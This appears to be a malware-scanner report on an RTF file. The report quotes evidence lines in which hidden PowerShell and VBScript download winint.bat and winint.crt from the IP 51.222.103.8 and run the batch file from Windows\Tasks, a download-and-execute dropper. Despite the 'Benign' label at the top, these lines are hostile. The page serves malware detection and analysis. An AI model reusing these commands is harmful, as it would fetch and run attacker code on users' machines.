Benign Download

26b113ba29b037034ee34a7f0fea81f6d5452950e0d26058d9b96946d78570c5.rtf

Contains an external-IP HTTP URLEncoded content decoded: hex
SHA-25626b113ba29b037034ee34a7f0fea81f6d5452950e0d26058d9b96946d78570c5
MaleculeO(C)H(Cm)Md

Evidence

Text contains raw external-IP HTTP URL lines 50–51
50:150… -WindowStyle Hidden -Command cmd /c del %tmp%\winint.wsf & curl http://51.222.103.8/winint.bat > C:\Windows\Tasks\winint.bat & C:\Windows\Tasks\winint.bat""","","Open",0</script></job>
5157fd81ab6661ba3eefa323bbababacedec …
Direct external IP address in URL line 51
51:214… eateObject("Scripting.FileSystemObject") : httpReq.Open "GET", "http://51.222.103.8/winint.crt", False : httpReq.Send : dim bFile : with bStrm.CreateTextFile("C:\Users\Public\Downloads\winint.crt") : .Write(httpReq.respons …
Encoded content decoded: hex lines 102–106
102:113… 0600000000050005005d010000980b00000000}
103{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d
104617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169
1056e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363
106656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220 …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.